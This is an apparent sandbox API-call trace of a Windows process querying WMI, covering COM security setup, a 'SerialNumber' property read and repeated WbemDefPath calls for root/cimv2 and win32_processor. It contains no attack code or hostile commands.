	[0178.897] IUnknown:QueryInterface (in: This=0x472d864, riid=0x73c334f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf94 | out: ppvObject=0x3adf94*=0x56d10c) returned 0x0
	[0178.897] IUnknown:QueryInterface (in: This=0x472d864, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf98 | out: ppvObject=0x3adf98*=0x472d868) returned 0x0
	[0178.897] IClientSecurity:SetBlanket (This=0x472d868, pProxy=0x472d864, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0178.898] IUnknown:Release (This=0x472d868) returned 0x4
	[0178.898] IUnknown:Release (This=0x56d10c) returned 0x3
	[0178.898] IUnknown:Release (This=0x472d5c8) returned 0x2
	[0178.898] IUnknown:AddRef (This=0x472d864) returned 0x3
	[0178.898] IUnknown:Release (This=0x472d5c4) returned 0x2
	[0178.898] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ae110 | out: pperrinfo=0x3ae110*=0x0) returned 0x1
	[0178.898] IUnknown:Release (This=0x472d4fc) returned 0x2
	[0178.898] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.898] GetCurrentThreadId () returned 0x7f4
	[0178.899] IUnknown:AddRef (This=0x472d864) returned 0x3
	[0178.899] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.899] GetCurrentThreadId () returned 0x7f4
	[0178.899] IEnumWbemClassObject:Reset (This=0x472d864) returned 0x0
	[0178.899] IUnknown:Release (This=0x472d864) returned 0x2
	[0178.899] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720810
	[0178.899] IUnknown:Release (This=0x566278) returned 0x1
	[0178.900] CoGetContextToken (in: pToken=0x3adbd0 | out: pToken=0x3adbd0) returned 0x0
	[0178.900] CoGetContextToken (in: pToken=0x3adb94 | out: pToken=0x3adb94) returned 0x0
	[0178.900] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adbc8 | out: ppvObject=0x3adbc8*=0x527c2c) returned 0x0
	[0178.900] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3adbf8 | out: pAptType=0x3adbf8*=3) returned 0x0
	[0178.900] IUnknown:Release (This=0x527c2c) returned 0x1
	[0178.900] CoGetContextToken (in: pToken=0x3adbc8 | out: pToken=0x3adbc8) returned 0x0
	[0178.902] CoGetContextToken (in: pToken=0x3ae67c | out: pToken=0x3ae67c) returned 0x0
	[0178.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.903] GetCurrentThreadId () returned 0x7f4
	[0178.903] IUnknown:AddRef (This=0x472d864) returned 0x3
	[0178.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.903] GetCurrentThreadId () returned 0x7f4
	[0178.903] IEnumWbemClassObject:Next (in: This=0x472d864, lTimeout=-1, uCount=0x1, apObjects=0x3ae7b4, puReturned=0x3ae7ac | out: apObjects=0x3ae7b4*=0x472d8a0, puReturned=0x3ae7ac*=0x1) returned 0x0
	[0179.032] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c8e8
	[0179.032] IUnknown:AddRef (This=0x472d8a0) returned 0x2
	[0179.032] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472fbb8
	[0179.032] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472fc28
	[0179.032] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472fc88
	[0179.032] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c9a8
	[0179.032] IUnknown:AddRef (This=0x472d2e4) returned 0x3
	[0179.032] IUnknown:AddRef (This=0x472d864) returned 0x4
	[0179.033] IUnknown:QueryInterface (in: This=0x472d864, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae714 | out: ppvObject=0x3ae714*=0x472d868) returned 0x0
	[0179.033] IClientSecurity:QueryBlanket (in: This=0x472d868, pProxy=0x472d864, pAuthnSvc=0x3ae704, pAuthzSvc=0x3ae708, pServerPrincName=0x0, pAuthnLevel=0x3ae724, pImpLevel=0x3ae730, pAuthInfo=0x0, pCapabilites=0x3ae71c | out: pAuthnSvc=0x3ae704*=0xa, pAuthzSvc=0x3ae708*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ae724*=0x6, pImpLevel=0x3ae730*=0x3, pAuthInfo=0x0, pCapabilites=0x3ae71c*=0x20) returned 0x0
	[0179.033] IUnknown:Release (This=0x472d868) returned 0x4
	[0179.033] IUnknown:Release (This=0x472d2e4) returned 0x2
	[0179.033] IUnknown:AddRef (This=0x472d2e4) returned 0x3
	[0179.033] IUnknown:Release (This=0x472d864) returned 0x3
	[0179.033] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe
	[0179.033] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472bd28
	[0179.033] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c9c8
	[0179.033] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x47209d8
	[0179.033] IUnknown:AddRef (This=0x472d8a0) returned 0x3
	[0179.033] IUnknown:Release (This=0x472d8a0) returned 0x2
	[0179.033] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ae768 | out: pperrinfo=0x3ae768*=0x0) returned 0x1
	[0179.033] IUnknown:Release (This=0x472d864) returned 0x2
	[0179.033] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ae7ac | out: pperrinfo=0x3ae7ac*=0x0) returned 0x1
	[0179.036] LoadRegTypeLib (in: rguid=0x73c3364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x3ae01c*=0x0 | out: pptlib=0x3ae01c*=0x564648) returned 0x0
	[0179.038] ITypeLib:GetTypeInfoOfGuid (in: This=0x564648, guid=0x73c470c4, ppTInfo=0x472bd44 | out: ppTInfo=0x472bd44*=0x5662fc) returned 0x0
	[0179.038] IUnknown:Release (This=0x564648) returned 0x5
	[0179.038] IUnknown:AddRef (This=0x5662fc) returned 0x2
	[0179.038] ITypeInfo:RemoteGetTypeAttr (in: This=0x5662fc, ppTypeAttr=0x3ae070, pDummy=0xca7cb3db | out: ppTypeAttr=0x3ae070, pDummy=0xca7cb3db) returned 0x0
	[0179.038] ITypeInfo:LocalReleaseTypeAttr (This=0x5662fc) returned 0x559cc8
	[0179.038] IUnknown:Release (This=0x5662fc) returned 0x1
	[0179.039] CoGetContextToken (in: pToken=0x3adffc | out: pToken=0x3adffc) returned 0x0
	[0179.039] CoGetContextToken (in: pToken=0x3adfc0 | out: pToken=0x3adfc0) returned 0x0
	[0179.039] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adff4 | out: ppvObject=0x3adff4*=0x527c2c) returned 0x0
	[0179.039] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3ae024 | out: pAptType=0x3ae024*=3) returned 0x0
	[0179.039] IUnknown:Release (This=0x527c2c) returned 0x1
	[0179.039] CoGetContextToken (in: pToken=0x3adff4 | out: pToken=0x3adff4) returned 0x0
	[0179.042] CoGetContextToken (in: pToken=0x3ae3c0 | out: pToken=0x3ae3c0) returned 0x0
	[0179.043] LoadRegTypeLib (in: rguid=0x73c3364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3ae3a8*=0x0 | out: pptlib=0x3ae3a8*=0x564648) returned 0x0
	[0179.045] ITypeLib:GetTypeInfoOfGuid (in: This=0x564648, guid=0x73c355e4, ppTInfo=0x472bd40 | out: ppTInfo=0x472bd40*=0x566328) returned 0x0
	[0179.045] IUnknown:Release (This=0x564648) returned 0x6
	[0179.045] IUnknown:AddRef (This=0x566328) returned 0x2
	[0179.045] DispGetIDsOfNames (in: ptinfo=0x566328, rgszNames=0x3ae420*="SerialNumber", cNames=0x1, rgdispid=0x3ae410 | out: rgdispid=0x3ae410*=-1) returned 0x80020006
	[0179.050] IUnknown:AddRef (This=0x472d8a0) returned 0x3
	[0179.050] IWbemClassObject:Get (in: This=0x472d8a0, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x3ae330*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x3ae330*=0) returned 0x0
	[0179.050] IUnknown:Release (This=0x472d8a0) returned 0x2
	[0179.050] SysStringLen (param_1="SerialNumber") returned 0xc
	[0179.051] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720a48
	[0179.051] SysStringLen (param_1="SerialNumber") returned 0xc
	[0179.051] IUnknown:Release (This=0x566328) returned 0x1
	[0179.051] IUnknown:AddRef (This=0x566328) returned 0x2
	[0179.051] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0179.051] GetCurrentThreadId () returned 0x7f4
	[0179.051] SysStringLen (param_1="SerialNumber") returned 0xc
	[0179.051] IWbemClassObject:Get (in: This=0x472d8a0, wszName="SerialNumber", lFlags=0, pVal=0x3ae1b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3ae1f0, varVal2=0x73c32d81), pType=0x3ae1c8*=1942171014, plFlavor=0x0 | out: pVal=0x3ae1b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\"BSN12345678901234567\"", varVal2=0x73c32d81), pType=0x3ae1c8*=8, plFlavor=0x0) returned 0x0
	[0179.051] IUnknown:Release (This=0x566328) returned 0x1
	[0179.051] SysStringLen (param_1="\"BSN12345678901234567\"") returned 0x16
	[0179.053] CoGetContextToken (in: pToken=0x3ae67c | out: pToken=0x3ae67c) returned 0x0
	[0179.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0179.053] GetCurrentThreadId () returned 0x7f4
	[0179.053] IUnknown:AddRef (This=0x472d864) returned 0x3
	[0179.053] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0179.053] GetCurrentThreadId () returned 0x7f4
	[0179.053] IEnumWbemClassObject:Next (in: This=0x472d864, lTimeout=-1, uCount=0x1, apObjects=0x3ae7b4, puReturned=0x3ae7ac | out: apObjects=0x3ae7b4*=0x0, puReturned=0x3ae7ac*=0x0) returned 0x1
	[0179.054] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ae768 | out: pperrinfo=0x3ae768*=0x0) returned 0x1
	[0179.054] IUnknown:Release (This=0x472d864) returned 0x2
	[0179.054] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ae7ac | out: pperrinfo=0x3ae7ac*=0x0) returned 0x1
	[0179.139] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x270
	[0179.139] GetLastError () returned 0x0
	[0179.140] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x278
	[0179.140] GetLastError () returned 0x0
	[0179.147] SetEvent (hEvent=0x278) returned 1
	[0179.147] GetLastError () returned 0x0
	[0179.164] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ae7b8*=0x270, lpdwindex=0x3ae570 | out: lpdwindex=0x3ae570) returned 0x0
	[0179.177] CoGetContextToken (in: pToken=0x3ae608 | out: pToken=0x3ae608) returned 0x0
	[0179.177] CoGetContextToken (in: pToken=0x3ae5c8 | out: pToken=0x3ae5c8) returned 0x0
	[0179.177] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.177] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae644*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae640 | out: ppvObject=0x3ae640*=0x472fcf8) returned 0x0
	[0179.177] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.177] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.178] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2b0
	[0179.178] GetLastError () returned 0x0
	[0179.178] SetEvent (hEvent=0x278) returned 1
	[0179.178] GetLastError () returned 0x0
	[0179.178] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3adfdc*=0x2b0, lpdwindex=0x3add94 | out: lpdwindex=0x3add94) returned 0x0
	[0179.180] CoGetContextToken (in: pToken=0x3ade2c | out: pToken=0x3ade2c) returned 0x0
	[0179.180] CoGetContextToken (in: pToken=0x3addec | out: pToken=0x3addec) returned 0x0
	[0179.180] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x2
	[0179.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x3ade68*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ade64 | out: ppvObject=0x3ade64*=0x472fd90) returned 0x0
	[0179.180] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x2
	[0179.180] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x1
	[0179.184] CoGetContextToken (in: pToken=0x3adeac | out: pToken=0x3adeac) returned 0x0
	[0179.184] CoGetContextToken (in: pToken=0x3ade6c | out: pToken=0x3ade6c) returned 0x0
	[0179.184] WbemDefPath:IUnknown:AddRef (This=0x472fd90) returned 0x2
	[0179.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fd90, riid=0x3adee8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3adee4 | out: ppvObject=0x3adee4*=0x472fd90) returned 0x0
	[0179.184] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x2
	[0179.184] WbemDefPath:IWbemPath:SetText (This=0x472fd90, uMode=0x4, pszPath="//./root/cimv2") returned 0x0
	[0179.184] WbemDefPath:IUnknown:Release (This=0x472fd90) returned 0x1
	[0179.184] CoGetContextToken (in: pToken=0x3ae688 | out: pToken=0x3ae688) returned 0x0
	[0179.184] CoGetContextToken (in: pToken=0x3ae648 | out: pToken=0x3ae648) returned 0x0
	[0179.184] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6c0 | out: ppvObject=0x3ae6c0*=0x472fcf8) returned 0x0
	[0179.184] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.184] WbemDefPath:IWbemPath:SetText (This=0x472fcf8, uMode=0x4, pszPath="win32_processor") returned 0x0
	[0179.184] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.187] CoGetContextToken (in: pToken=0x3ae674 | out: pToken=0x3ae674) returned 0x0
	[0179.187] CoGetContextToken (in: pToken=0x3ae634 | out: pToken=0x3ae634) returned 0x0
	[0179.187] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.187] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6ac | out: ppvObject=0x3ae6ac*=0x472fcf8) returned 0x0
	[0179.187] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.187] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472fcf8, puCount=0x3ae828 | out: puCount=0x3ae828*=0x0) returned 0x0
	[0179.187] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.190] CoGetContextToken (in: pToken=0x3ae664 | out: pToken=0x3ae664) returned 0x0
	[0179.190] CoGetContextToken (in: pToken=0x3ae624 | out: pToken=0x3ae624) returned 0x0
	[0179.190] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.190] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae69c | out: ppvObject=0x3ae69c*=0x472fcf8) returned 0x0
	[0179.190] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.190] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae824*=0x0, pszText=0x0 | out: puBuffLength=0x3ae824*=0x10, pszText=0x0) returned 0x0
	[0179.190] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.190] CoGetContextToken (in: pToken=0x3ae664 | out: pToken=0x3ae664) returned 0x0
	[0179.190] CoGetContextToken (in: pToken=0x3ae624 | out: pToken=0x3ae624) returned 0x0
	[0179.190] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.190] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae69c | out: ppvObject=0x3ae69c*=0x472fcf8) returned 0x0
	[0179.190] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.191] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae824*=0x10, pszText="000000000000000" | out: puBuffLength=0x3ae824*=0x10, pszText="win32_processor") returned 0x0
	[0179.191] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.193] CoGetContextToken (in: pToken=0x3ae678 | out: pToken=0x3ae678) returned 0x0
	[0179.193] CoGetContextToken (in: pToken=0x3ae638 | out: pToken=0x3ae638) returned 0x0
	[0179.193] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6b0 | out: ppvObject=0x3ae6b0*=0x472fcf8) returned 0x0
	[0179.193] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.193] WbemDefPath:IWbemPath:GetInfo (in: This=0x472fcf8, uRequestedInfo=0x0, puResponse=0x3ae82c | out: puResponse=0x3ae82c*=0xc15) returned 0x0
	[0179.193] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.193] CoGetContextToken (in: pToken=0x3ae674 | out: pToken=0x3ae674) returned 0x0
	[0179.193] CoGetContextToken (in: pToken=0x3ae634 | out: pToken=0x3ae634) returned 0x0
	[0179.193] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.193] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6ac | out: ppvObject=0x3ae6ac*=0x472fcf8) returned 0x0
	[0179.194] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.194] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472fcf8, puCount=0x3ae828 | out: puCount=0x3ae828*=0x0) returned 0x0
	[0179.194] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.194] CoGetContextToken (in: pToken=0x3ae678 | out: pToken=0x3ae678) returned 0x0
	[0179.194] CoGetContextToken (in: pToken=0x3ae638 | out: pToken=0x3ae638) returned 0x0
	[0179.194] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6b0 | out: ppvObject=0x3ae6b0*=0x472fcf8) returned 0x0
	[0179.194] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.194] WbemDefPath:IWbemPath:GetInfo (in: This=0x472fcf8, uRequestedInfo=0x0, puResponse=0x3ae82c | out: puResponse=0x3ae82c*=0xc15) returned 0x0
	[0179.194] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.194] CoGetContextToken (in: pToken=0x3ae668 | out: pToken=0x3ae668) returned 0x0
	[0179.194] CoGetContextToken (in: pToken=0x3ae628 | out: pToken=0x3ae628) returned 0x0
	[0179.194] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.194] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6a0 | out: ppvObject=0x3ae6a0*=0x472fcf8) returned 0x0
	[0179.194] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.194] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472fcf8, puCount=0x3ae81c | out: puCount=0x3ae81c*=0x0) returned 0x0
	[0179.194] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.194] CoGetContextToken (in: pToken=0x3ae658 | out: pToken=0x3ae658) returned 0x0
	[0179.194] CoGetContextToken (in: pToken=0x3ae618 | out: pToken=0x3ae618) returned 0x0
	[0179.194] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae690 | out: ppvObject=0x3ae690*=0x472fcf8) returned 0x0
	[0179.195] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.195] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae818*=0x0, pszText=0x0 | out: puBuffLength=0x3ae818*=0x10, pszText=0x0) returned 0x0
	[0179.195] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.195] CoGetContextToken (in: pToken=0x3ae658 | out: pToken=0x3ae658) returned 0x0
	[0179.195] CoGetContextToken (in: pToken=0x3ae618 | out: pToken=0x3ae618) returned 0x0
	[0179.195] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae690 | out: ppvObject=0x3ae690*=0x472fcf8) returned 0x0
	[0179.195] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.195] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae818*=0x10, pszText="000000000000000" | out: puBuffLength=0x3ae818*=0x10, pszText="win32_processor") returned 0x0
	[0179.195] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.195] CoGetContextToken (in: pToken=0x3ae668 | out: pToken=0x3ae668) returned 0x0
	[0179.195] CoGetContextToken (in: pToken=0x3ae628 | out: pToken=0x3ae628) returned 0x0
	[0179.195] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.195] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae6a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae6a0 | out: ppvObject=0x3ae6a0*=0x472fcf8) returned 0x0
	[0179.195] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.195] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472fcf8, puCount=0x3ae81c | out: puCount=0x3ae81c*=0x0) returned 0x0
	[0179.195] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.195] CoGetContextToken (in: pToken=0x3ae658 | out: pToken=0x3ae658) returned 0x0
	[0179.195] CoGetContextToken (in: pToken=0x3ae618 | out: pToken=0x3ae618) returned 0x0
	[0179.195] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae690 | out: ppvObject=0x3ae690*=0x472fcf8) returned 0x0
	[0179.196] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.196] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae818*=0x0, pszText=0x0 | out: puBuffLength=0x3ae818*=0x10, pszText=0x0) returned 0x0
	[0179.196] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.196] CoGetContextToken (in: pToken=0x3ae658 | out: pToken=0x3ae658) returned 0x0
	[0179.196] CoGetContextToken (in: pToken=0x3ae618 | out: pToken=0x3ae618) returned 0x0
	[0179.196] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.196] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae694*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae690 | out: ppvObject=0x3ae690*=0x472fcf8) returned 0x0
	[0179.196] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.196] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae818*=0x10, pszText="000000000000000" | out: puBuffLength=0x3ae818*=0x10, pszText="win32_processor") returned 0x0
	[0179.196] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.196] CoGetContextToken (in: pToken=0x3ae5fc | out: pToken=0x3ae5fc) returned 0x0
	[0179.196] CoGetContextToken (in: pToken=0x3ae5bc | out: pToken=0x3ae5bc) returned 0x0
